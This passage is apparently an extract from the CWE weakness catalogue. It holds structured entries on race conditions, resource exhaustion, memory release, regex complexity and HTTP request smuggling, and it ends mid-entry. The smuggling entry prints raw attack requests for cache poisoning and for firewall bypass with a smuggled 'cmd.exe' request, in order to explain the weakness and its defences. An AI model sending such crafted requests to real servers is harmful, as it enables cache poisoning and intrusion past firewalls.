A race condition occurs within concurrent environments, and it is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc. A race condition violates these properties, which are closely related: - Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution. - Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource. A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity. The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the product; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable product.

Medium

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367

Time-of-check Time-of-use (TOCTOU) Race Condition

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Simple

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The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. This can cause the product to perform invalid actions when the resource is in an unexpected state.

This weakness can be security-relevant when an attacker can influence the state of the resource between check and use. This can happen with shared resources such as files, memory, or even variables in multithreaded programs.

Medium

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[ { "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "DetectionMethodID": "DM-14", "Effectiveness": "High", "EffectivenessNotes": null, "Method": "Automated Static Analysis" } ]

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

[ "Acceptable-Use" ]

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[ { "Description": "The TOCTTOU acronym expands to \"Time Of Check To Time Of Use\".", "Term": "TOCTTOU" }, { "Description": "The TOCCTOU acronym is most likely a typo of TOCTTOU, but it has been used in some influential documents, so the typo is repeated fairly frequently.", "Term": "TOCCTOU" } ]

[ "File or Directory" ]

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400

Uncontrolled Resource Consumption

Class

Simple

Draft

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The product does not properly control the allocation and maintenance of a limited resource.

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High

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[ { "Class": "Not Language-Specific", "Name": null, "Prevalence": "Undetermined", "Type": "Language" } ]

[ { "Note": "The product could be operated in a system or environment with lower resource limits than expected, which might make it easier for attackers to consume all available resources.", "Phase": "Operation" }, { "Note": "The product could be configured with lower resource limits than expected, which might make it easier for attackers to consume all available resources.", "Phase": "System Configuration" }, { "Note": "The designer might not consider how to handle and throttle excessive resource requests, which typically requires careful planning to handle more gracefully than a crash or exit.", "Phase": "Architecture and Design" }, { "Note": "\n\nThere are at least three distinct scenarios that can commonly lead to resource exhaustion:\n\n\n - Lack of throttling for the number of allocated resources.\n\n - Losing all references to a resource before reaching the shutdown stage.\n\n - Not closing/returning a resource after processing.\n\nResource exhaustion problems often occur due to an incorrect implementation of the following situations:\n\n - Error conditions and other exceptional circumstances.\n\n - Confusion over which part of the program is responsible for releasing the resource.\n\n", "Phase": "Implementation" } ]

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Discouraged

CWE-400 is intended for incorrect behaviors in which the product is expected to track and restrict how many resources it consumes, but CWE-400 is often misused because it is conflated with the "technical impact" of vulnerabilities in which resource consumption occurs. It is sometimes used for low-information vulnerability reports. It is a level-1 Class (i.e., a child of a Pillar).

Closely analyze the specific mistake that is causing resource consumption, and perform a CWE mapping for that mistake. Consider children/descendants such as CWE-770: Allocation of Resources Without Limits or Throttling, CWE-771: Missing Reference to Active Allocated Resource, CWE-410: Insufficient Resource Pool, CWE-772: Missing Release of Resource after Effective Lifetime, CWE-834: Excessive Iteration, CWE-405: Asymmetric Resource Consumption (Amplification), and others.

[ "Frequent Misuse" ]

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1

[ [ "400" ] ]

[ "770", "920" ]

770

Allocation of Resources Without Limits or Throttling

Base

Simple

Incomplete

null

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any restrictions on the size or number of resources that can be allocated, in violation of the intended security policy for that actor.

Code frequently has to work with limited resources, so programmers must be careful to ensure that resources are not consumed too quickly, or too easily. Without use of quotas, resource limits, or other protection mechanisms, it can be easy for an attacker to consume many resources by rapidly making many requests, or causing larger resources to be used than is needed. When too many resources are allocated, or if a single resource is too large, then it can prevent the code from working correctly, possibly leading to a denial of service.

High

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[ { "Class": "Not Language-Specific", "Name": null, "Prevalence": "Often", "Type": "Language" } ]

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[ { "Description": "Chain: Python library does not limit the resources used to process images that specify a very large number of bands (CWE-1284), leading to excessive memory consumption (CWE-789) or an integer overflow (CWE-190).", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-21668", "Reference": "CVE-2022-21668" }, { "Description": "Language interpreter does not restrict the number of temporary files being created when handling a MIME request with a large number of parts..", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-4017", "Reference": "CVE-2009-4017" }, { "Description": "Driver does not use a maximum width when invoking sscanf style functions, causing stack consumption.", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-2726", "Reference": "CVE-2009-2726" }, { "Description": "Large integer value for a length property in an object causes a large amount of memory allocation.", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-2540", "Reference": "CVE-2009-2540" }, { "Description": "Product allows exhaustion of file descriptors when processing a large number of TCP packets.", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-2054", "Reference": "CVE-2009-2054" }, { "Description": "Communication product allows memory consumption with a large number of SIP requests, which cause many sessions to be created.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-5180", "Reference": "CVE-2008-5180" }, { "Description": "Product allows attackers to cause a denial of service via a large number of directives, each of which opens a separate window.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-1700", "Reference": "CVE-2008-1700" }, { "Description": "CMS does not restrict the number of searches that can occur simultaneously, leading to resource exhaustion.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-4650", "Reference": "CVE-2005-4650" }, { "Description": "web application scanner attempts to read an excessively large file created by a user, causing process termination", "Link": "https://www.cve.org/CVERecord?id=CVE-2020-15100", "Reference": "CVE-2020-15100" }, { "Description": "Go-based workload orchestrator does not limit resource usage with unauthenticated connections, allowing a DoS by flooding the service", "Link": "https://www.cve.org/CVERecord?id=CVE-2020-7218", "Reference": "CVE-2020-7218" } ]

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

[ "Acceptable-Use" ]

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1

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920

Improper Restriction of Power Consumption

Base

Simple

Incomplete

null

The product operates in an environment in which power is a limited resource that cannot be automatically replenished, but the product does not properly restrict the amount of power that its operation consumes.

In environments such as embedded or mobile devices, power can be a limited resource such as a battery, which cannot be automatically replenished by the product itself, and the device might not always be directly attached to a reliable power source. If the product uses too much power too quickly, then this could cause the device (and subsequently, the product) to stop functioning until power is restored, or increase the financial burden on the device owner because of increased power costs. Normal operation of an application will consume power. However, in some cases, an attacker could cause the application to consume more power than intended, using components such as: - Display - CPU - Disk I/O - GPS - Sound - Microphone - USB interface

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[ { "Note": null, "Phase": "Architecture and Design" } ]

[ { "Impact": [ "DoS: Resource Consumption (Other)", "DoS: Crash, Exit, or Restart" ], "Likelihood": null, "Note": "The power source could be drained, causing the application - and the entire device - to cease functioning.", "Scope": [ "Availability" ] } ]

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

[ "Acceptable-Use" ]

null

1

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404

Improper Resource Shutdown or Release

Class

Simple

Draft

null

The product does not release or incorrectly releases a resource before it is made available for re-use.

When a resource is created or allocated, the developer is responsible for properly releasing the resource as well as accounting for all potential paths of expiration or invalidation, such as a set period of time or revocation.

Medium

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[ { "Note": null, "Phase": "Implementation" } ]

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[ { "Description": "Improper release or shutdown of resources can be primary to resource exhaustion, performance, and information confidentiality problems to name a few.", "Ordinality": "Primary" }, { "Description": "Improper release or shutdown of resources can be resultant from improper error handling or insufficient resource tracking.", "Ordinality": "Resultant" } ]

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401

Missing Release of Memory after Effective Lifetime

Variant

Simple

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The product does not sufficiently track and release allocated memory after it has been used, making the memory unavailable for reallocation and reuse.

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[ { "Description": "\n\nChoose a language or tool that provides automatic memory management, or makes manual memory management less error-prone.\n\n\nFor example, glibc in Linux provides protection against free of invalid pointers.\n\n\nWhen using Xcode to target OS X or iOS, enable automatic reference counting (ARC) [REF-391].\n\n\nTo help correctly and consistently manage memory when programming in C++, consider using a smart pointer class such as std::auto_ptr (defined by ISO/IEC ISO/IEC 14882:2003), std::shared_ptr and std::unique_ptr (specified by an upcoming revision of the C++ standard, informally referred to as C++ 1x), or equivalent solutions such as Boost.\n", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-41", "Phase": [ "Implementation" ], "Strategy": "Libraries or Frameworks" }, { "Description": "Use an abstraction library to abstract away risky APIs. Not a complete solution.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": null, "Phase": [ "Architecture and Design" ], "Strategy": null }, { "Description": "The Boehm-Demers-Weiser Garbage Collector or valgrind can be used to detect leaks in code.", "Effectiveness": null, "EffectivenessNotes": "This is not a complete solution as it is not 100% effective.", "MitigationID": null, "Phase": [ "Architecture and Design", "Build and Compilation" ], "Strategy": null } ]

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[ { "Description": "Memory leak because function does not free() an element of a data structure.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-3119", "Reference": "CVE-2005-3119" }, { "Description": "Memory leak when counter variable is not decremented.", "Link": "https://www.cve.org/CVERecord?id=CVE-2004-0427", "Reference": "CVE-2004-0427" }, { "Description": "chain: reference count is not decremented, leading to memory leak in OS by sending ICMP packets.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-0574", "Reference": "CVE-2002-0574" }, { "Description": "Kernel uses wrong function to release a data structure, preventing data from being properly tracked by other code.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-3181", "Reference": "CVE-2005-3181" }, { "Description": "Memory leak via unknown manipulations as part of protocol test suite.", "Link": "https://www.cve.org/CVERecord?id=CVE-2004-0222", "Reference": "CVE-2004-0222" }, { "Description": "Memory leak via a series of the same command.", "Link": "https://www.cve.org/CVERecord?id=CVE-2001-0136", "Reference": "CVE-2001-0136" } ]

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Allowed

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

[ "Acceptable-Use" ]

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[ { "Description": null, "Ordinality": "Resultant" } ]

[ { "Description": null, "Term": "Memory Leak" } ]

[ "Memory" ]

[ "Memory Management" ]

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1

[ [ "404", "401" ] ]

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459

Incomplete Cleanup

Base

Simple

Draft

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The product does not properly "clean up" and remove temporary or supporting resources after they have been used.

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[ { "Class": "Not Language-Specific", "Name": null, "Prevalence": "Undetermined", "Type": "Language" } ]

[ { "Note": null, "Phase": "Implementation" } ]

[ { "Impact": [ "Other", "Read Application Data", "Modify Application Data", "DoS: Resource Consumption (Other)" ], "Likelihood": null, "Note": "It is possible to overflow the number of temporary files because directories typically have limits on the number of files allowed. This could create a denial of service problem.", "Scope": [ "Other", "Confidentiality", "Integrity" ] } ]

[ { "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "DetectionMethodID": "DM-14", "Effectiveness": "High", "EffectivenessNotes": null, "Method": "Automated Static Analysis" } ]

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[ { "Description": "World-readable temporary file not deleted after use.", "Link": "https://www.cve.org/CVERecord?id=CVE-2000-0552", "Reference": "CVE-2000-0552" }, { "Description": "Temporary file not deleted after use, leaking database usernames and passwords.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-2293", "Reference": "CVE-2005-2293" }, { "Description": "Interaction error creates a temporary file that can not be deleted due to strong permissions.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-0788", "Reference": "CVE-2002-0788" }, { "Description": "Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-2066", "Reference": "CVE-2002-2066" }, { "Description": "Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-2067", "Reference": "CVE-2002-2067" }, { "Description": "Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-2068", "Reference": "CVE-2002-2068" }, { "Description": "Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-2069", "Reference": "CVE-2002-2069" }, { "Description": "Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-2070", "Reference": "CVE-2002-2070" }, { "Description": "Users not logged out when application is restarted after security-relevant changes were made.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1744", "Reference": "CVE-2005-1744" } ]

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[ { "Note": "CWE-459 is a child of CWE-404 because, while CWE-404 covers any type of improper shutdown or release of a resource, CWE-459 deals specifically with a multi-step shutdown process in which a crucial step for \"proper\" cleanup is omitted or impossible. That is, CWE-459 deals specifically with a cleanup or shutdown process that does not successfully remove all potentially sensitive data.", "Type": "Relationship" }, { "Note": "Overlaps other categories such as permissions and containment. Concept needs further development. This could be primary (e.g. leading to infoleak) or resultant (e.g. resulting from unhandled error conditions or early termination).", "Type": "Relationship" } ]

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This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

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763

Release of Invalid Pointer or Reference

Base

Simple

Incomplete

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The product attempts to return a memory resource to the system, but it calls the wrong release function or calls the appropriate release function incorrectly.

This weakness can take several forms, such as: - The memory was allocated, explicitly or implicitly, via one memory management method and deallocated using a different, non-compatible function (CWE-762). - The function calls or memory management routines chosen are appropriate, however they are used incorrectly, such as in CWE-761.

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[ { "Class": null, "Name": "C", "Prevalence": "Often", "Type": "Language" }, { "Class": null, "Name": "C++", "Prevalence": "Often", "Type": "Language" } ]

[ { "Note": null, "Phase": "Implementation" } ]

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[ { "Description": "function \"internally calls 'calloc' and returns a pointer at an index... inside the allocated buffer. This led to freeing invalid memory.\"", "Link": "https://www.cve.org/CVERecord?id=CVE-2019-11930", "Reference": "CVE-2019-11930" } ]

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

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772

Missing Release of Resource after Effective Lifetime

Base

Simple

Draft

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The product does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed.

When a resource is not released after use, it can allow attackers to cause a denial of service by causing the allocation of resources without triggering their release. Frequently-affected resources include memory, CPU, disk space, power or battery, etc.

High

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Inefficient Algorithmic Complexity

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An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.

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[ { "Class": "Not Language-Specific", "Name": null, "Prevalence": "Undetermined", "Type": "Language" } ]

[ { "Note": null, "Phase": "Architecture and Design" }, { "Note": null, "Phase": "Implementation" } ]

[ { "Impact": [ "DoS: Resource Consumption (CPU)", "DoS: Resource Consumption (Memory)", "DoS: Resource Consumption (Other)" ], "Likelihood": null, "Note": "The typical consequence is CPU consumption, but memory consumption and consumption of other resources can also occur.", "Scope": [ "Availability" ] } ]

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[ { "Description": "C++ library for image metadata has \"quadratic complexity\" issue with unnecessarily repetitive parsing each time an invalid character is encountered", "Link": "https://www.cve.org/CVERecord?id=CVE-2021-32617", "Reference": "CVE-2021-32617" }, { "Description": "Python has \"quadratic complexity\" issue when converting string to int with many digits in unexpected bases", "Link": "https://www.cve.org/CVERecord?id=CVE-2020-10735", "Reference": "CVE-2020-10735" }, { "Description": "server allows ReDOS with crafted User-Agent strings, due to overlapping capture groups that cause excessive backtracking.", "Link": "https://www.cve.org/CVERecord?id=CVE-2020-5243", "Reference": "CVE-2020-5243" }, { "Description": "Perl-based email address parser has \"quadratic complexity\" issue via a string that does not contain a valid address", "Link": "https://www.cve.org/CVERecord?id=CVE-2014-1474", "Reference": "CVE-2014-1474" }, { "Description": "CPU consumption via inputs that cause many hash table collisions.", "Link": "https://www.cve.org/CVERecord?id=CVE-2003-0244", "Reference": "CVE-2003-0244" }, { "Description": "CPU consumption via inputs that cause many hash table collisions.", "Link": "https://www.cve.org/CVERecord?id=CVE-2003-0364", "Reference": "CVE-2003-0364" }, { "Description": "Product performs unnecessary processing before dropping an invalid packet.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-1203", "Reference": "CVE-2002-1203" }, { "Description": "CPU and memory consumption using many wildcards.", "Link": "https://www.cve.org/CVERecord?id=CVE-2001-1501", "Reference": "CVE-2001-1501" }, { "Description": "Product allows attackers to cause multiple copies of a program to be loaded more quickly than the program can detect that other copies are running, then exit. This type of error should probably have its own category, where teardown takes more time than initialization.", "Link": "https://www.cve.org/CVERecord?id=CVE-2004-2527", "Reference": "CVE-2004-2527" }, { "Description": "Network monitoring system allows remote attackers to cause a denial of service (CPU consumption and detection outage) via crafted network traffic, aka a \"backtracking attack.\"", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-6931", "Reference": "CVE-2006-6931" }, { "Description": "Wiki allows remote attackers to cause a denial of service (CPU consumption) by performing a diff between large, crafted pages that trigger the worst case algorithmic complexity.", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-3380", "Reference": "CVE-2006-3380" }, { "Description": "Wiki allows remote attackers to cause a denial of service (CPU consumption) by performing a diff between large, crafted pages that trigger the worst case algorithmic complexity.", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-3379", "Reference": "CVE-2006-3379" }, { "Description": "OS allows attackers to cause a denial of service (CPU consumption) via crafted Gregorian dates.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-2506", "Reference": "CVE-2005-2506" }, { "Description": "Memory leak by performing actions faster than the software can clear them.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1792", "Reference": "CVE-2005-1792" } ]

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[ "Abstraction" ]

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[ { "Description": "Used when the algorithmic complexity is related to the square of the number of inputs (N^2)", "Term": "Quadratic Complexity" } ]

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[ "Cryptography" ]

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1

[ [ "407" ] ]

[ "1333" ]

1333

Inefficient Regular Expression Complexity

Base

Simple

Draft

null

The product uses a regular expression with an inefficient, possibly exponential worst-case computational complexity that consumes excessive CPU cycles.

Some regular expression engines have a feature called "backtracking". If the token cannot match, the engine "backtracks" to a position that may result in a different token that can match. Backtracking becomes a weakness if all of these conditions are met: - The number of possible backtracking attempts are exponential relative to the length of the input. - The input can fail to match the regular expression. - The input can be long enough. Attackers can create crafted inputs that intentionally cause the regular expression to use excessive backtracking in a way that causes the CPU consumption to spike.

High

[ { "CweID": "407", "Nature": "ChildOf", "Ordinal": "Primary", "ViewID": "1003" } ]

[ { "Class": "Not Language-Specific", "Name": null, "Prevalence": "Undetermined", "Type": "Language" } ]

[ { "Note": "A RegEx can be easy to create and read using unbounded matching characters, but the programmer might not consider the risk of excessive backtracking.", "Phase": "Implementation" } ]

[ { "Impact": [ "DoS: Resource Consumption (CPU)" ], "Likelihood": [ "High" ], "Note": null, "Scope": [ "Availability" ] } ]

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[ { "Description": "server allows ReDOS with crafted User-Agent strings, due to overlapping capture groups that cause excessive backtracking.", "Link": "https://www.cve.org/CVERecord?id=CVE-2020-5243", "Reference": "CVE-2020-5243" }, { "Description": "npm package for user-agent parser prone to ReDoS due to overlapping capture groups", "Link": "https://www.cve.org/CVERecord?id=CVE-2021-21317", "Reference": "CVE-2021-21317" }, { "Description": "Markdown parser uses inefficient regex when processing a message, allowing users to cause CPU consumption and delay preventing processing of other messages.", "Link": "https://www.cve.org/CVERecord?id=CVE-2019-16215", "Reference": "CVE-2019-16215" }, { "Description": "Long string in a version control product allows DoS due to an inefficient regex.", "Link": "https://www.cve.org/CVERecord?id=CVE-2019-6785", "Reference": "CVE-2019-6785" }, { "Description": "Javascript code allows ReDoS via a long string due to excessive backtracking.", "Link": "https://www.cve.org/CVERecord?id=CVE-2019-12041", "Reference": "CVE-2019-12041" }, { "Description": "ReDoS when parsing time.", "Link": "https://www.cve.org/CVERecord?id=CVE-2015-8315", "Reference": "CVE-2015-8315" }, { "Description": "ReDoS when parsing documents.", "Link": "https://www.cve.org/CVERecord?id=CVE-2015-8854", "Reference": "CVE-2015-8854" }, { "Description": "ReDoS when validating URL.", "Link": "https://www.cve.org/CVERecord?id=CVE-2017-16021", "Reference": "CVE-2017-16021" } ]

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

[ "Acceptable-Use" ]

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1

[ [ "407", "1333" ] ]

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436

Interpretation Conflict

Class

Simple

Incomplete

null

Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state.

This is generally found in proxies, firewalls, anti-virus software, and other intermediary devices that monitor, allow, deny, or modify traffic based on how the client or server is expected to behave.

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[ { "Class": "Not Language-Specific", "Name": null, "Prevalence": "Undetermined", "Type": "Language" } ]

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[ { "Impact": [ "Unexpected State", "Varies by Context" ], "Likelihood": null, "Note": null, "Scope": [ "Integrity", "Other" ] } ]

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[ { "Description": "Bypass filters or poison web cache using requests with multiple Content-Length headers, a non-standard behavior.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1215", "Reference": "CVE-2005-1215" }, { "Description": "Anti-virus product allows bypass via Content-Type and Content-Disposition headers that are mixed case, which are still processed by some clients.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-0485", "Reference": "CVE-2002-0485" }, { "Description": "FTP clients sending a command with \"PASV\" in the argument can cause firewalls to misinterpret the server's error as a valid response, allowing filter bypass.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-1978", "Reference": "CVE-2002-1978" }, { "Description": "FTP clients sending a command with \"PASV\" in the argument can cause firewalls to misinterpret the server's error as a valid response, allowing filter bypass.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-1979", "Reference": "CVE-2002-1979" }, { "Description": "Virus product bypass with spaces between MIME header fields and the \":\" separator, a non-standard message that is accepted by some clients.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-0637", "Reference": "CVE-2002-0637" }, { "Description": "AV product detection bypass using inconsistency manipulation (file extension in MIME Content-Type vs. Content-Disposition field).", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-1777", "Reference": "CVE-2002-1777" }, { "Description": "CMS system allows uploads of files with GIF/JPG extensions, but if they contain HTML, Internet Explorer renders them as HTML instead of images.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-3310", "Reference": "CVE-2005-3310" }, { "Description": "Interpretation conflict allows XSS via invalid \"<\" when a \">\" is expected, which is treated as \">\" by many web browsers.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-4260", "Reference": "CVE-2005-4260" }, { "Description": "Interpretation conflict (non-standard behavior) enables XSS because browser ignores invalid characters in the middle of tags.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-4080", "Reference": "CVE-2005-4080" } ]

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Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

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The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination.

HTTP requests or responses ("messages") can be malformed or unexpected in ways that cause web servers or clients to interpret the messages in different ways than intermediary HTTP agents such as load balancers, reverse proxies, web caching proxies, application firewalls, etc. For example, an adversary may be able to add duplicate or different header fields that a client or server might interpret as one set of messages, whereas the intermediary might interpret the same sequence of bytes as a different set of messages. For example, discrepancies can arise in how to handle duplicate headers like two Transfer-encoding (TE) or two Content-length (CL), or the malicious HTTP message will have different headers for TE and CL. The inconsistent parsing and interpretation of messages can allow the adversary to "smuggle" a message to the client/server without the intermediary being aware of it. This weakness is usually the result of the usage of outdated or incompatible HTTP protocol versions in the HTTP agents.

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[ { "Class": "Not Language-Specific", "Name": null, "Prevalence": "Undetermined", "Type": "Language" }, { "Class": "Web Based", "Name": null, "Prevalence": "Undetermined", "Type": "Technology" } ]

[ { "Note": null, "Phase": "Implementation" } ]

[ { "Impact": [ "Unexpected State", "Hide Activities", "Bypass Protection Mechanism" ], "Likelihood": null, "Note": "An attacker could create HTTP messages to exploit a number of weaknesses including 1) the message can trick the web server to associate a URL with another URL's webpage and caching the contents of the webpage (web cache poisoning attack), 2) the message can be structured to bypass the firewall protection mechanisms and gain unauthorized access to a web application, and 3) the message can invoke a script or a page that returns client credentials (similar to a Cross Site Scripting attack).", "Scope": [ "Integrity", "Non-Repudiation", "Access Control" ] } ]

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[ { "Description": "Use a web server that employs a strict HTTP parsing procedure, such as Apache [REF-433].", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": null, "Phase": [ "Implementation" ], "Strategy": null }, { "Description": "Use only SSL communication.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": null, "Phase": [ "Implementation" ], "Strategy": null }, { "Description": "Terminate the client session after each request.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": null, "Phase": [ "Implementation" ], "Strategy": null }, { "Description": "Turn all pages to non-cacheable.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": null, "Phase": [ "System Configuration" ], "Strategy": null } ]

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Unlike the proxy, the web server uses the first \"Content-Length\" header and considers that the first POST request has no body.", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "POST http://www.website.com/foobar.html HTTP/1.1\n Host: www.website.com\n Connection: Keep-Alive\n Content-Type: application/x-www-form-urlencoded\n Content-Length: 0\n\n *Content-Length: 54 (ignored by server)*", "IntroText": null, "Language": null, "Nature": "Attack", "Reference": null }, { "BodyText": "Because the web server has assumed the original POST request was length 0, it parses the second request that follows, i.e. for GET /poison.html:", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "GET /poison.html HTTP/1.1\n Host: www.website.com\n Bla: GET http://www.website.com/page_to_poison.html HTTP/1.1\n Host: www.website.com\n Connection: Keep-Alive", "IntroText": null, "Language": null, "Nature": "Attack", "Reference": null }, { "BodyText": "Note that the \"Bla:\" header is treated as a regular header, so it is not parsed as a separate GET request.", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null }, { "BodyText": "The requests the web server sees are \"POST /foobar.html\" and \"GET /poison.html\", so it sends back two responses with the contents of the \"foobar.html\" page and the \"poison.html\" page, respectively. The proxy matches these responses to the two requests it thinks were sent by the client - \"POST /foobar.html\" and \"GET /page_to_poison.html\". If the response is cacheable, the proxy caches the contents of \"poison.html\" under the URL \"page_to_poison.html\", and the cache is poisoned! Any client requesting \"page_to_poison.html\" from the proxy would receive the \"poison.html\" page.", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null }, { "BodyText": "When a website includes both a proxy server and a web server, some protection against this type of attack can be achieved by installing a web application firewall, or using a web server that includes a stricter HTTP parsing procedure or make all webpages non-cacheable.", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null }, { "BodyText": "Additionally, if a web application includes a Java servlet for processing requests, the servlet can check for multiple \"Content-Length\" headers and if they are found the servlet can return an error response thereby preventing the poison page to be cached, as shown below.", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "```\n\tprotected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { \n```\n// Set up response writer object* \n\t\t\t...\n\t\t\ttry { \n\t\t\t```\n```\n// check for multiple content length headers* \n\t\t\t\t\tEnumeration contentLengthHeaders = request.getHeaders(\"Content-Length\"); \n\t\t\t\t\tint count = 0; \n\t\t\t\t\twhile (contentLengthHeaders.hasMoreElements()) { \n\t\t\t\t\t```\n\t\t\t\t\t\tcount++; \n\t\t\t\t\t} \n\t\t\t\t\tif (count > 1) { \n```\n// output error response* } \n\t\t\t\t\telse { \n\t\t\t\t\t```\n```\n// process request* } \n\t\t\t\t\t} catch (Exception ex) {...}}", "IntroText": null, "Language": "Java", "Nature": "Good", "Reference": null } ], "ID": null }, { "Entries": [ { "BodyText": null, "ExampleCode": null, "IntroText": "In the following example, a malformed HTTP request is sent to a website that includes a web server with a firewall with the intent of bypassing the web server firewall to smuggle malicious code into the system.", "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "```\n\tPOST /page.asp HTTP/1.1\n\tHost: www.website.com\n\tConnection: Keep-Alive\n\tContent-Length: 49223\n\tzzz...zzz [\"z\" x 49152]\n\tPOST /page.asp HTTP/1.0\n\tConnection: Keep-Alive\n\tContent-Length: 30\n\tPOST /page.asp HTTP/1.0\n\tBla: POST /page.asp?cmd.exe HTTP/1.0\n\tConnection: Keep-Alive\n```", "IntroText": null, "Language": null, "Nature": "Attack", "Reference": null }, { "BodyText": "When this request is sent to the web server, the first POST request has a content-length of 49,223 bytes, and the firewall treats the line with 